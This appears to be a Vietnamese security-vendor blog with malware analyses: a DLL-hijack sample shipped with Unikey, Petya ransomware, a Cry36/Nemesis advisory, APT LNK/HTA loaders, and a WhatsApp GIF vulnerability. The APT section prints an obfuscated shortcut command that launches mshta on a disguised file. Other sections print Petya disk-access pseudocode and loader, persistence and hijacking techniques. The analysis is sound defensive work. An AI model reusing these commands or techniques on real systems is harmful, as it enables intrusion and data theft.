Hệ thống giám sát CMDD của CMC phát hiện được mẫu mã độc lợi dụng phần mềm Unikey để tấn công người dùng Việt Nam. Unikey là phần mềm gõ tiếng việt dành cho Windows rất phổ biến tại Việt Nam. Lợi dụng điều này, kẻ tấn công có thể tạo ra các bộ cài unikey sử dụng file UnikeyNT.exe chính thống nhưng chèn thêm vào cùng thư mục mã độc nguy hiểm và sử dụng nhiều kỹ thuật để lừa chạy trên máy người dùng (exploit, phishing …). Do đó người dùng chỉ nên tải phiên bản chính thức của unikey từ trang web unikey.org cũng như không mở các tập tin lạ đường dẫn lạ. Đồng thời cũng update các bản vá lỗ hổng cho Windows.
Phân tích kỹ thuật
Trong case dưới đây, tệp tin kbdus.dll(PE 32bit) chứa mã độc đã được chèn kèm theo cùng thư mục với UnikeyNT.exe(phiên bản 4.0 RC2 Build 091101 NT). Kẻ tấn công cũng thay đổi thuộc tính về thời gian của tệp tin kbdus.dll về cùng với thời gian của file UnikeyNT.exe để người dễ dàng đánh lừa người dùng hơn. Thực chất file này được compile vào khoảng đầu tháng 10 năm 2019.
Kbdus.dll
kbdus.dll là một thư viện sẽ được load lên khi người dùng sử dụng layout bàn phím US(id 0x00000409). Kẻ tấn công đã thực hiện phân tích cách hoạt động của Unikey và nhận ra khi UnikeyNT.exe load dll kèm theo là UKhook40.dll, sẽ thực thi hàm LoadKeyboardLayoutA để load layout với id là 0x00000409. Khi đó kbdus.dll sẽ được load lên. Vì đặt sẵn kbdus.dll trong cùng thư mục với UnikeyNT.exe, tệp tin này sẽ được ưu tiên load trước do đó sẽ thực thi mã độc chứa trong nó.
Tại hàm DllMain của dll, mã độc đã tạo ra 1 thread mới để thực thi các hành vi độc hại của nó.
Mã độc tạo ra mutex với tên “Global\mFNXzY0g” để tránh thực thi chồng chéo nhau. Các string được mã độc sử dụng hầu hết đã bị obfuscate bằng stackstring hoặc hàm mã hóa riêng. Hàm mã hóa ở đây được thiết lập đơn giản bằng cách cộng vào giá trị của mỗi kí tự thêm 1(ví dụ kí tự “K” dạng hex có giá trị là 0x4b sẽ được mã hóa thành 0x4c ứng với kí tự “L”). Trên ida pro có thể sử dụng idapython để patch lại các kí tự này. Đối với stackstring, có thể dùng script ironstring.py của flare-teamđể đơn giản hóa việc phân tích.
Sau khi tạo và kiểm tra mutex, mã độc tiến hành đọc dữ liệu từ các khóa registry đặc biệt. Nhiều khả năng các khóa này được tạo ra khi người dùng thực hiện chạy file cài đặt được kẻ tấn công chuẩn bị. Đầu tiên là giá trị “CB5JQLWSYQP2CWVRMJ8NB4CCUE1B8K4A” ở trong key “HKEY_CLASS_ROOT.kci\PersistenHandler”. Giá trị này sẽ chứa 1 cấu trúc bao và dữ liệu xlm. Thông tin trong cấu trúc bao gồm một số giá trị để mã độc kiểm tra sau khi tiến hành giải mã dữ liệu như kích thước trước và sau của dữ liệu xlm, md5 trước và sau của dữ liệu đó.
Dữ liệu được giải mã ra là định dạng xlm, sẽ được mã độc đọc vào 1 vùng nhớ thông qua các api trong thư viện xmllite.dll.
Giá trị tiếp theo trong khóa “HKEY_CLASS_ROOT.kci\PersistenHandler” được đọc là “F430D64D98E6EAC972380D568F080E08”. Tại đây chứa một cấu trúc dữ liệu khác cũng bao gồm các thông tin về kích thước và md5 của dữ liệu trong nó. Dựa vào phần struct này, mã độc sẽ decrypt ra một file PE khác với cách thức decrypt và kiểm tra tương tự như quá trình xử lý dữ liệu xml.
File PE này là 1 dll này có tên là Knocker.dll và export ra hàm tên là Construct, có thời gian compile gần như cùng lúc với file kbdus.dll ở trên. Mã độc tiến hành load dll lên memory. Sau đó, mã độc tìm đến địa chỉ hàm Construct và thực thi nó với tham số là địa chỉ của cấu trúc dữ liệu xml data đã đọc trước đó.
Thông qua các API như VirtualAlloc, VirtualProtect, LoadLibrary, GetProcAddress, file PE đã được map lên bộ nhớ như một file PE thông thường. Trước khi thực thi hàm Construct, mã độc cũng thực thi qua hàm DllMain trong dll để đảm bảo dll hoạt động bình thường.
Knocker.dll – Construct
Tại hàm construct, mã độc copy dữ liệu nhận được từ tham số truyền vào 1 vùng nhớ khác, sau đó bắt đầu thu thập thông tin máy tính người dùng. Thông tin bị thu thập bao gồm CPU, RAM, thông tin Windows, computer name, organization, thông tin về user, ngôn ngữ, timezone, card mạng, thông tin ổ phân vùng cài đặt hệ điều hành.
Sau đó mã độc tạo ra UUID trong khóa “HKEY_CLASS_ROOT.kci\PersistenHandler”. lưu lại 2 giá trị md5. Giá trị thứ nhất được tạo ra từ thông tin về user sid, username, computer name. Thông tin md5 thứ 2 dựa trên các giá trị của cpu, ram, disk, network adapter.
Mã độc tiếp tục tạo ra 1 string để định danh máy tính có dạng “PC: %s; MAC: %s; SerVer: %f”. Dữ liệu này sẽ nằm trong 1 struct mà mã độc sẽ mã hóa ở dạng base64 để gửi đi sử dụng method là GET.
Trong lần kết nối đầu tiên, mã độc chờ đợi nhận được một command để thực thi. Và lần kết nối thứ 2 sẽ được gửi đi tương tự như lần 1 với mục đích report lại việc thực thi của command nhưng sử dụng phương thức POST và request thay đổi với định dạng:
Đây là bước cuối cùng trong quá trình thực thi của mã độc. Tuy nhiên, ở thời điểm hiện tại, response trả về là 404 Not Found nên mã độc không thể tiếp tục thực hiện các hành vi khác của mình.
Thông tin về c&c
Kiểm tra thử một số thông tin về domain của c&c biết được ip mà domain này trỏ đến là 125[.]212.218.121.
Một số domain khác trỏ đến ip này là:
Đánh giá mức độ nguy hiểm
Đây là chiến dịch tấn công được đầu tư nghiên cứu kỹ, rất nguy hiểm và khó bị phát hiện. Vì unikey là bộ gõ văn bản rất phổ biến ở Việt Nam, có thể nói là máy tính nào dùng Windows ở Việt Nam cũng đều cài đặt phần mềm Unikey. Những kẻ tấn công chỉ cần drop file kbdus.dll vào thư mục chứa unikey là có thể khai thác được máy của nạn nhân. Khuyến cáo người sử dụng nên kiểm tra kỹ thư mục cài đặt Unikey, loại bỏ file kbdus.dll hoặc sử dụng sản phẩm chống mã độc để bảo vệ máy tính của mình. CMDD của CMC đã cập nhật mẫu mã độc kbdus.dll, người dùng có thể download tại đường dẫn sau: https://cmccybersecurity.com/cmc-antivirus-free/
Trỗi dậy từ đống tro tàn của Wannacry, một hiểm họa mới bắt đầu: Petya. Trong hai năm 2016 và 2017, ransomware Petya và những biến thể của nó đã ảnh hưởng đến hàng nghìn máy tính trên toàn thế giới. Ngay sau khi ransomware Wannacry vừa có dấu hiệu lắng xuống, Petya nỗi lên như một sự thay thế hoàn hảo.
Điểm đặc biệt của loại malware này là nó không mã hóa các tập tin dữ liệu của người dùng mà thay đổi Master Boot Record(MBR) và mã hóa Master File Table (MFT) khiến cho người dùng thậm chí còn không boot được vào hệ điều hành.
Cách thức hoạt động của Petya – Nguồn: Microsoft.com
Theo các nguồn thông tin, cuộc tấn công của ransomware Petya bắt nguồn từ công ty M.E.Doc, một công ty kiểm toán có trụ sở tại Ukrainian, thông qua phần mềm của M.E.Doc có chứa Petya trong một bản cập nhật. Ngoài ra, Petya còn được chèn trong các file văn bản được gửi có chủ đích tới các cơ quan tổ chức khi người dùng mở lên thì ransomware sẽ lừa người dùng kích hoạt marco có sẵn trong các phiên bản của Office.
Stage 1: High level
Trên không gian mạng hiện nay có rất nhiều biến thể của ransomware Petya nhưng trong bài viết này ta sẽ tập trung phân tích mẫu:
Ta dễ dàng nhận ra mẫu ransomware cần phải được unpack trước khi thực thi các lệnh thực. Trong quá trình debug ransomware có gọi đến các hàm như VirtualProtect và VirtualAlloc để phân bổ và thay đổi quyền của một vùng nhớ mới. Phỏng đoán ràng đây sẽ là vùng nhớ chứa mã thực của ransomware sau khi unpack. Vậy nên ta chỉ cần đặt breakpoint ở điểm đầu của vùng nhớ mới được tạo ra và đây là kết quả:
Như ta thấy trong hình trên, trong cửa sổ hexdump là header của một pe file. Dump toàn bộ section này ra ta thu được một file Setup.dll với đầy đủ import table rất dễ đọc.
Đi qua lần lượt các hàm được thực hiện trong file Setup.dll khi được khởi chạy. Đầu tiên, ransomware Petya lấy thông tin ổ cứng của nạn nhân bằng hàm DeviceIoControl để láy vị trí vật lý của một volume trên ổ cứng, thông tin về chủng loại, kích thước, tích chất của phân vùng ổ cứng(bằng IOCTL_DISK_GET_PARTITION_INFO_EX, PARTITION_INFORMATION_EX, ). Dưới đây là pseudocode hàm lấy vị trí vật lý của một volumn trên một hoặc nhiều ổ cứng:
v1 =this;
BytesReturned =0;
v2 = GetSystemDirectoryA(0,0);
v3 = v2;if(!v2 )return0;
v5 =(CHAR*)sub_239090(v2);if(!GetSystemDirectoryA(v5, v3))return0;*(_DWORD *)FileName =1546542172;
v9 =*v5;
v10 =58;
sub_239070(v5);
v6 = CreateFileA(FileName,0,3u,0,3u,0,0);if( v6 ==(HANDLE)-1){CloseHandle((HANDLE)0xFFFFFFFF);return0;}DeviceIoControl(v6,0x560000u,0,0,&OutBuffer,0x20u,&BytesReturned,0);// Trong do 0x560000 là IoControlCode duoc thay lan luot la 0x70048, 0x70000 trong cac ham con lai de lay thong tin o dia CloseHandle(v6);
qmemcpy(v1,"\\\\.\\PhysicalDrive",17);
v1[17]= v12 +48;
v1[18]=0;return1;
Sau đó, ransomware tạo một buffer chứa link trả tiền chuộc “hxxp://petya5koahtsf7sv[.]onion/[Random]”, “hxxp://petya37h5tbhyvki[.]onion/[Random]” Ransom Note. Và gọi đến hàm CryptGenRandom để tạo ra khóa cá nhân của nạn nhân.
Giờ ta phân tích mã độc được chèn vào MBR của ổ đĩa:
Từ kết quả dump ra từ \.\PhysicalDrive0 ta có:
Sector 0: Điểm được bootloader độc đầu tiên
Sector 1-33: Toàn bộ là 0x37
Sector 34-49: Đoạn kernel của ransomware
Sector 50-53: Trống
Sector 54: Nonce, CNC và Personal Key
Sector 55-56: Data được mã hóa
Khi máy khởi động đoạn mã của ransomware sẽ được thực thi:
Để đọc sector tử ổ đĩa nó sử dụng interrupt 13
Tiếp đến, Ransomware sẽ check xem MBR đã bị mã hóa chưa?
Nếu chưa mã hóa, Petya sử dụng thuật toán Salsa20 để khóa MFT.
MFT (Master File Table) là thành phần quan trọng nhất trong hệ thống NTFS. MFT chứa thông tin về tất cả các tập tin và thư mục trong ổ đĩa logic.
Sau khi mã hóa xong màn hình chính sẽ được hiển thị
Khi người dùng nhập key Petya sẽ kiểm tra định dạng của key:
Có độ dài 16 byte
Chỉ chấp nhận các ký tự sau 123456789abcdefghijkmnopqrstuvwxABCDEFGHJKLMNPQRSTUVWX
Mặc dù, ta hoàn toàn có thể bypass check_key bằng cách đổi địa chỉ của một số hàm jump nhưng như vậy cũng không giải mã được MFT. Tuy nhiên, do giới hạn về kích thước của các sector nên ransomware Petya không triển khai đầy đủ thuật toán Salsa 20 nên ta có thể brute force được key giải mã.
Trong quá trình giải mã của Petya ta thấy:
Petya load lên bộ nhớ 512 byte của sector thứ 55(đây là dữ liệu cần được giải mã)
Petya load lên bộ nhớ 8 byte ở offset 0x6c21 ngay trước CNC trong sector thứ 54(đây là nonce)
Ta có được bản mã và nonce. Ta hoàn toàn có thể đọc thuật toán của salsa và tự viết script brute force hoặc sử dụng script được viết bằng golang của một anh bạn rất tốt bụng leo-stone.
Tổng kết
Việc tạo ra một ransomware được khởi chạy ở boot sector, mã hóa MBR và MFT là một hướng đi rất thú vị. Tuy nhiên, việc triển khai ransomware dưới tầng kernel đã tạo ra một vài lỗ hổng trong lúc triển khai thuật toán mã hóa giúp cho chúng ta có thể giải mã mà không cần key. Điều này đã khiến cho Petya phiên bản đầu thể không lây nhiễm rộng rãi. Mặc dù vậy, những mã độc có hướng đi như Petya, ví dụ như Goldeneye, đã tạo cảm hứng cho hacker phát triển những ransomware tấn công vào tầng kernel, đặt ra thách thức cho các nhà bảo mật.
Các chuyên gia phân tích mã độc của CMC Cyber Sercurity vừa ghi nhận có ít nhất 4 đơn vị bị nhiễm ransomware Cry36/Nemesis tất cả dữ liệu người dùng (ngoại trừ các file có thể gây lỗi cho hệ điều hành) bị mã hóa và đổi phần mở rộng thành “.[id]_WECANHELP”.
Mẫu ransomware có phần mở rộng “.[id]_WECANHELP” là biến thể mới nhất của Cry36/Nemesis được phát hiện lần đầu tiên vào 9/8/2019. Khi lây nhiễm vào máy tính nạn nhân nó bắt đầu quét nhanh tất cả phân vùng ổ đĩa, phân vùng chia sẻ để xác định dữ liệu người dùng và bỏ qua các file thực thi, file hệ thống. Cuối cùng, ransomware mã hóa dữ liệu, trong mỗi thư mục nó mã hóa đều được để lại một file chứa các thông tin để nạn nhân có thể conteac với kẻ tấn công và ID của nạn nhân. Biến thể của Cry36/Nemesis thường được gửi vào máy tính của nạn nhân thông qua các cổng RDP được bảo mật kém, spam email hoặc giả làm các phần mềm lừa người dùng tải về.
Hiện nay, chưa có phương pháp nào hiệu quả để phá mã khóa của Cry36/Nemesis. Tuy vậy, các nạn nhân tuyệt đối không được trả tiền chuộc cho kẻ tấn công. Đã có rất nhiều trường hợp được ghi nhận, sau khi trả tiền chuộc nạn nhân cũng không giải mã được dữ liệu hoặc dữ liệu giải mã ra bị lỗi. Đồng thời việc trả tiền cho kẻ tấn công sẽ thức đẩy hắn quay lại một lần nữa.
Để phòng ngừa nguy cơ trở thành nạn nhân của Cry36/Nemesis, người dùng nên ngắt các cổng dịch vụ RDP nếu không cần sử dụng đến, thiết lập các quy tắc cho tường lửa để giới hạn người sử dụng, truy cập từ xa đến server, đảm bảo nguồn gốc của phần mềm, email trước khi mở.
Gần đây, CMC CyberSecurity nhận được một số mẫu mã độc được cho là do nhóm tin tặc Panda phát triển. Nhằm tấn công APT tới các tổ chức chính phủ các nước, trong đó có các tổ chức của Việt Nam.
Các mẫu nhận được sau khi phân tích có thể
chia làm 2 loại. Mỗi loại sử dụng 1 cách thực thi payload khác nhau nhưng vẫn
có một số đặc điểm chung sau:
Sử dụng file shortcut .lnk kèm
theo đuôi .doc(ví dụ sample.doc.lnk) để đánh lừa người dùng.
File lnk đính kèm theo file hta có
thể thực thi được vbscript.
Script mở file document đính kèm
cho người dùng và ngầm thực thi payload.
Dựa trên nội dung của các file tài liệu được
chuẩn bị để đánh lừa người dùng, có thể phỏng đoán rằng mục tiêu mà kẻ tấn công
muốn nhắm đến là người dùng thuộc một số đơn vị trong cơ quan nhà nước Việt
Nam.
1. Phân tích kỹ thuật
1.1. Phân tích file lnk loại 1
File
LNK
File mẫu là 1 file shortcut
có phần mở rộng đuôi là .lnk, thường được đặt tên kèm theo đuôi .doc để đánh lừa
người dùng do đuôi .lnk sẽ được Windows ẩn đi. Điểm đáng ngờ là ở phần target của
file shortcut. Thông thường, target của shortcut thường trỏ đến 1 thư mục hay 1
file đích. Tuy nhiên, target của các mẫu đều chứa đoạn command có dạng sau:
%comspec% /c for %x in (%temp%=%cd%) do for /f "delims==" %i in ('dir "%x\GIAYMOI.doc.lnk" /s /b') do start m%windir:~-1,1%hta.exe "%i"
Đoạn lệnh trên đã
được obfuscate bằng cách sử dụng biến %comspec% để thay cho việc gọi trực tiếp
chuỗi “cmd.exe” và chữ “s” trong tên file mshta.exe được lấy
bằng cách cắt ký tự cuối cùng của giá trị chứa trong biến
“%windir%”(thường là C:\Windows).
Mshta.exe là 1 ứng
dụng của microsoft phát triển nhằm tận dụng ưu điểm xây dựng nhanh ứng dụng
thông qua html, css, vbscript, javascript. Sử dụng mshta và định dạng file
.hta, ta có thể mở 1 trang html như 1 ứng dụng. Định dạng file hta cũng giống
như file html. Bằng cách thêm thẻ tag <HTA:APPLICATION/> vào trong thẻ
<head> của file html ta đã có file hta có thể được mở thông qua ứng dụng
mshta.
File hta có
thể bị chèn thêm vào trước header của nó. Tận dụng điều
này,
kẻ tấn công đã chèn vào trước nó 1 file lnk với command mở chính nó bằng mshta.exe để thực thi file hta nhúng kèm. Khi người dùng mở file lnk, sẽ thực thi command trong target của file lnk và thực thi file mshta.exe để mở chính nó.
File
HTA
Mặc định, mshta.exe
có thể thực thi cả javascript và vbscript nhúng trong file hta nhờ sử dụng các
dll liên quan. File hta nhúng kèm khi mở lên sẽ có các thuộc tính: chạy thu nhỏ(minimize),
không hiện trên taskbar, không có menu và caption. Nhiệm vụ duy nhất của nó là
thực thi đoạn mã vbscript độc hại.
Đoạn mã vbscript đã
bị obfuscate(làm rối) để khiến quá trình phân tích gặp khó khăn. Sau khi
deobfuscate, có thể thấy đoạn mã chứa 1 data ở dạng binary.
Sau đó, đoạn mã sử
dụng ADODB object để lưu lại binary data thành 1 file vào thư mục %temp% với
tên là 3.ps1.
Đoạn mã powershell
tiếp tục bị làm rối bằng các sử dụng base64 để encode toàn bộ nội dung của nó.
Sau khi decode toàn bộ nội dung, script sẽ được tiếp tục chạy thông qua hàm iex
của powershell.
Nội dung sau khi
decode của script cũng bị làm rối để khiến cho nội dung của nó trở nên khó hiểu
hơn. Sau khi phân tích, có thể biết được tổng quát nội dung và nhiệm vụ của đoạn
mã như sau:
Đoạn mã kiểm tra quyền
Administrator của user hiện tại và lưu kết quả vào 1 biến.
Tiến hành decode file .doc ở dạng
base64 và lưu file này vào thư mục %temp%. Sau đó sẽ mở file này lên cho user.
Nếu script được chạy với quyền của
Administrator, file .dat sẽ được lưu vào trong th thư mục “%windir%\debug”. Nếu không,
thư mục %temp% sẽ được dùng để lưu file .dat.
Công cụ InstallUtil(v2.0 hoặc 4.0)
sẽ được dùng để làm loader thực thi file payload .dat. Khi có quyền
Administrator, script sẽ copy 2 file InstallUtil.exe và schtasks.exe của
windows vào thư mục %temp%. Riêng file schtasks.exe(tiện ích của microsoft dùng
để lên lịch tự động chạy 1 số chương trình, tác vụ 1) sẽ được đổi tên thành
“wtask.exe”.
Sau đó dùng cmd để thực thi file
wtask.exe tự động chạy có mục đích là tải thực thi file loader để chạy file
.dat với quyền SYSTEM.
Nếu như không có quyền
Administrator, loader sẽ được thực thi gián tiếp thông qua vbscript. Đoạn mã
cũng kiểm tra và điều chỉnh cách thực thi cho phù hợp khi phát hiện có sản phẩm
antivirus cài đặt trên máy tình.
Sau khi thực thi tiến trình
“wtask.exe” sẽ tạo ra 1 entry trong Task Scheduler để thực thi
Final
Payload
InstallUtil.exe khi
thực hiện load file payload tmp_FlVnNI.dat sẽ tiếp tục decode 1 đoạn shellcode ở
dạng base64 và copy phần giải mã được vào 1 vùng nhớ được cấp phát với thuộc
tính PAGE_EXECUTE_READWRITE và tạo ra 1 thread để thực thi shellcode.
Shellcode sẽ tự giải
mã 1 phần code của nó bằng thuật toán xor với key là 0x44. Sau khi giải mã
0xcf2 byte, shellcode sẽ thực thi phần được giải mã.
Đây là payload cuối
cùng để thực hiện kết nối đến server của attacker. Hiện tại đã không thể kết nối
được đến server này.
Phân
tích file lnk loại 2
First
stage
Tương tự như loại
1, loại 2 cũng là 1 file lnk được nhúng vào trước file hta. Ở giai đoạn thực
thi vbscript, script này giải mã và lưu vào thư mục %temp% 3 file binary ở dạng
base64 và 1 file document.
File document sau
đó sẽ được mở cho user.
Trong khi đó,
script sẽ thực thi file 3.exe để thực hiện các hành vi độc hại.
Second
stage
File thực thi 3.exe
thực chất là 1 file sạch, nhưng sẽ load
1 file dll đã bị chỉnh sửa chứa mã độc.
Để làm điều này,
attacker chỉ cần tìm 1 dll được load bằng hàm LoadLibrary trong file 3.exe(ở
trường hợp này là http_dll.dll), sau đó tạo ra 1 file dll độc hại với tên trùng
với tham số của hàm LoadLibrary và để cùng thư mục với file 3.exe. Khi gọi
LoadLibrary, 3.exe sẽ tìm dll trong cùng thư mục trước và load nó lên.
http_dll.dll khi được
load lên sẽ thực hiện tìm hàm VirtualProtect để chỉnh sửa thuộc tính của 16
byte vùng nhớ của module vừa load nó lên tại RVA là 0x157a thành
PAGE_EXECUTE_READWRITE. Trong trường hợp này, vị trí sửa sẽ là lệnh jz
0x401533.
Để thực hiện hành
vi độc hại, lệnh jz 0x401533 sẽ được thay thế bằng 3 lệnh push FFFFFFFF, push
http_dll.10001230 và lệnh “ret” để chuyển hướng chương trình 3.exe sang hàm
sub_10001230 của dll, sau đó chương trình sẽ để cho 3.exe thực thi tiếp.
Tại hàm
sub_10001230, mã độc sẽ đọc file http_dll.dat trong cùng thư mục. Nội dung ở phần
đầu của file dat này là 1 string có null-terminated và phần data. String này sẽ
được sử dụng để là key giải mã cho phần data của file dat.
Sau đó, mã độc sẽ tạo
ra 1 vùng nhớ mới để chứa phần giải mã được tiến hành bằng thuật toán xor với
key là string trong file dat như trên.
Mã độc tiếp tục
thay đổi thuộc tính của vùng nhớ mới này bằng thuộc tính PAGE_EXECUTE_READWRITE
và thực thi shellcode tại địa chỉ này.
Nội dung giải mã
thu được là 1 file PE dạng RAW, tuy nhiên đã được lồng vào rất khéo 1
shellcode, bắt đầu từ offset 0. Shellcode này có nhiệm vụ như 1 loader, load
file PE dạng raw này để có thể thực thi được.
Đầu tiên, shellcode
tìm địa chỉ của kernel32.dll sau đó lấy địa chỉ các hàm LoadLibray,
GetProcAddress, ZwFlushIntructionCache, VirtualAlloc bằng cách so sánh hash tên
của các hàm được kernel32 export.
Sau đó, Loader đọc header của file PE, thực hiện map các section lên các vùng nhớ tương ứng, realloc lại một số địa chỉ và resolve lại Import Address Table của file. Sau khi hoàn tất, luồng thực thi chương trình sẽ được chuyển qua hàm DllMain của file PE này.
Final
Payload
Tại đây, mã độc sẽ
tiến hành lấy 1 số đường dẫn để sử dụng, sau đó giải mã 1 phần data section để
sử dụng.
Kết quả giải mã là
1 số strings bao gồm tên khóa autorun, ip c&c server.
Sau đó, mã độc sẽ
thực hiện các hành vi sau:
Tạo bản sao của 3 file thực thi
vào thư mục profile của user hoặc alluserprofile nếu có đủ quyền administrator.
Thêm và khóa autorun để tự kích hoạt
file thực thi vừa drop ra khi khởi động lại máy. Đồng thời tự khởi chạy lại nếu
đây là lần chạy đầu tiên của nó. Mã độc phân biệt điều này bằng cách chèn thêm 1
tham số nữa cho nó ở các lần chạy tiếp theo.
Tạo mutex, kết nối đến server để
nhận lệnh từ server.
Tạo backdoor cho phép kẻ tấn công
thực thi lệnh từ xa.
Hỗ trợ nhiều command khác nhau bao
gồm upload file, thư mục, list folder, đọc file, lấy thông tin máy tính,
user,…
Kết luận
Bằng cách sử dụng nhiều kỹ thuật tấn công khác
nhau và làm rối trong khi thực thi cho thấy rằng người đứng sau phát triển mã độc
đã đầu tư không ít thời gian để nghiên cứu mục tiêu và phát triển phương pháp tấn
công cho phù hợp. APT là một loại tấn công nguy hiểm, được đầu tư kỹ lưỡng nhằm
đánh cắp các thông tin quan trọng và gây nhiều thiệt hại cho tổ chức. Để phòng
ngừa các cuộc tấn công APT, luôn luôn chuẩn bị các phương án đề phòng và giám
sát liên tục mới có thể đảm bảo tính an toàn cho hệ thống của người dùng cũng
như cả tổ chức.
Ngày nay, các clip lặp ngắn, GIF có ở khắp mọi nơi trên phương tiện truyền thông xã hội , trên bảng tin nhắn, trên các cuộc trò chuyện, giúp người dùng thể hiện hoàn hảo cảm xúc của mình, khiến mọi người có thể vui vẻ, thư giãn và làm nổi bật ý nghĩa truyền đạt của cuộc trò chuyện. Nhưng điều gì sẽ xảy ra nếu một lời chào GIF trông ngây thơ với tin nhắn Chào buổi sáng, Chúc mừng sinh nhật hoặc Giáng sinh vui vẻ “hack” chiếc điện thoại đang cầm trên tay của bạn?
Ứng dụng WhatsApp (một ứng dụng nhắn tin đa nền tảng) gần đây đã vá một lỗ hổng bảo mật quan trọng trong ứng dụng dành cho Android, lô hổng này từ khi phát hiện vẫn chưa được vá sau 3 tháng, sau khi bị phát hiện và nếu bị khai thác, có thể cho phép tin tặc xâm nhập các thiết bị Android và có khả năng đánh cắp các tệp, tài nguyên trong máy, và nghiêm trọng hơn là các tin nhắn trò chuyện hoặc tài khoản của ứng dụng khác có trên máy nạn nhân.
WhatsApp
Remote Code Execution Vulnerability
Lỗ hổng, được public với ID là CVE-2019-11932, là một lỗ hổng “double-free” , hiểu đơn giản là gọi hàm free 2 lần khi sử bộ nhớ động HEAP trong C. Lỗ hổng này không có trong mã nguồn của ứng dụng WhatsApp mà có trong thư viện mã nguồn mở mà WhatsApp sử dụng để xử lý ảnh.
Được phát hiện bởi nhà nghiên cứu bảo mật người Việt
Nam Phạm Hồng Nhật vào tháng 5 năm nay, lỗ hổng này dẫn đến các cuộc tấn công
thực thi mã từ xa (RCE), cho phép kẻ tấn công thực thi mã tùy ý trên các thiết
bị di động có sử dụng WhatsApp.
“Payload (mã khai thác) được thực thi trong
WhatsApp context. Do đó, nó có quyền đọc SDCard và truy cập cơ sở dữ liệu tin
nhắn WhatsApp”, tác giả trả lời trong cuộc phỏng vấn với Thehackernews.
“Mã độc hại sẽ có tất cả các quyền mà WhatsApp
có, bao gồm ghi âm, truy cập máy ảnh, truy cập hệ thống tệp, cũng như các tập
tin sandbox của WhatsApp bao gồm cơ sở tin nhắn, các cuộc trò chuyện được bảo vệ
bởi ứng dụng, v.v.
Lỗ
hổng này hoạt động ra sao?
WhatsApp sử dụng thư viện phân tích cú pháp để tạo bản
xem trước (preview) cho các tệp GIF khi người dùng mở thiết bị của họ trước khi
gửi các tệp này cho bạn bè hay gia đình.
Vì vậy lỗ hổng này không được “kích hoạt” bằng cách gửi tệp GIF độc hại cho nạn nhân.
Thay vào dó nó được kích hoạt khi nạn nhân chọn bộ thư viện WhatsApp Gallery
Picker và gửi những tấm ảnh này cho người khác.
Bạn đọc có thể xem PoC tại đây:
Để khai thác lỗ hổng này, tất cả những gì kẻ tấn
công cần làm là gửi tệp GIF độc hại được tạo thủ công (chèn mã độc) cho người
dùng Android thông qua bất kỳ kênh trực tuyến và đợi người dùng mở thư viện
hình ảnh trong WhatsApp.
Tuy nhiên, nếu kẻ tấn công muốn gửi tệp GIF cho nạn
nhân thông qua bất kỳ nền tảng nhắn tin nào như WhatsApp hoặc Messenger, họ cần
gửi tệp đó dưới dạng tệp tài liệu thay vì tệp đính kèm tệp phương tiện, vì khi nén
hình ảnh được sử dụng bởi các dịch vụ này sẽ làm sai lệch mã độc hại ẩn trong
hình ảnh .
Phiên
bản ứng dụng tồn tại lỗ hổng, và các bản vá
Lỗ hổng này ảnh hưởng đến các phiên bản ứng dụng
WhatsApp 2.19.230 và các phiên bản cũ hơn chạy trên hệ điều hành Android 8.1 và
9.0, không tồn tại với hệ điều hành Android 8.0 trở xuống.
“Trong các phiên bản Android cũ hơn, lỗ hổng
“double-free” vẫn có thể được tác động. Tuy nhiên, do hàm malloc gọi bởi system
sau khi gọi các hàm free, ứng dụng chỉ có thể bị khai thác khi tôi kiểm soát được
các thanh ghi trên PC”, nhà nghiên cứu viết.
Tác giả Pham Hong Nhat nói với The Hacker News rằng anh
ấy đã báo cáo lỗ hổng cho Facebook, người sở hữu WhatsApp, vào cuối tháng 7 năm
nay và công ty đã phát triển một bản vá bảo mật trong phiên bản WhatsApp
2.19.244, được phát hành vào tháng 9.
Do đó, để bảo vệ thiết bị của mình trước mọi nguy cơ
từ lỗ hổng này, bạn nên cập nhật WhatsApp lên phiên bản mới nhất từ Cửa hàng
Google Play càng sớm càng tốt.
Bên cạnh đó, do lỗ hổng nằm trong thư viện nguồn mở,
nên cũng có thể bất kỳ ứng dụng Android nào khác sử dụng cùng thư viện bị ảnh
hưởng cũng có thể dễ bị tấn công tương tự.Nhà phát triển thư viện GIF bị ảnh hưởng, đó là
Android GIF Drawable, cũng đã phát hành phiên bản 1.2.18 của phần mềm để vá lỗ
hổng “double-free” này.
WhatsApp cho iOS không bị ảnh hưởng bởi lỗ hổng này.
Chúng
tôi sẽ có một bài phân tích kĩ thuật về lỗ hổng này, mời bạn đọc chú ý theo dõi
và đón xem.
We use cookies on our website to give you the most relevant experience by remembering your preferences and repeat visits. By clicking “Accept All”, you consent to the use of ALL the cookies. However, you may visit "Cookie Settings" to provide a controlled consent.
This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.
Necessary cookies are absolutely essential for the website to function properly. These cookies ensure basic functionalities and security features of the website, anonymously.
Cookie
Duration
Description
cookielawinfo-checkbox-analytics
11 months
This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics".
cookielawinfo-checkbox-functional
11 months
The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional".
cookielawinfo-checkbox-necessary
11 months
This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary".
cookielawinfo-checkbox-others
11 months
This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other.
cookielawinfo-checkbox-performance
11 months
This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".
viewed_cookie_policy
11 months
The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.
Functional cookies help to perform certain functionalities like sharing the content of the website on social media platforms, collect feedbacks, and other third-party features.
Performance cookies are used to understand and analyze the key performance indexes of the website which helps in delivering a better user experience for the visitors.
Analytical cookies are used to understand how visitors interact with the website. These cookies help provide information on metrics the number of visitors, bounce rate, traffic source, etc.
Advertisement cookies are used to provide visitors with relevant ads and marketing campaigns. These cookies track visitors across websites and collect information to provide customized ads.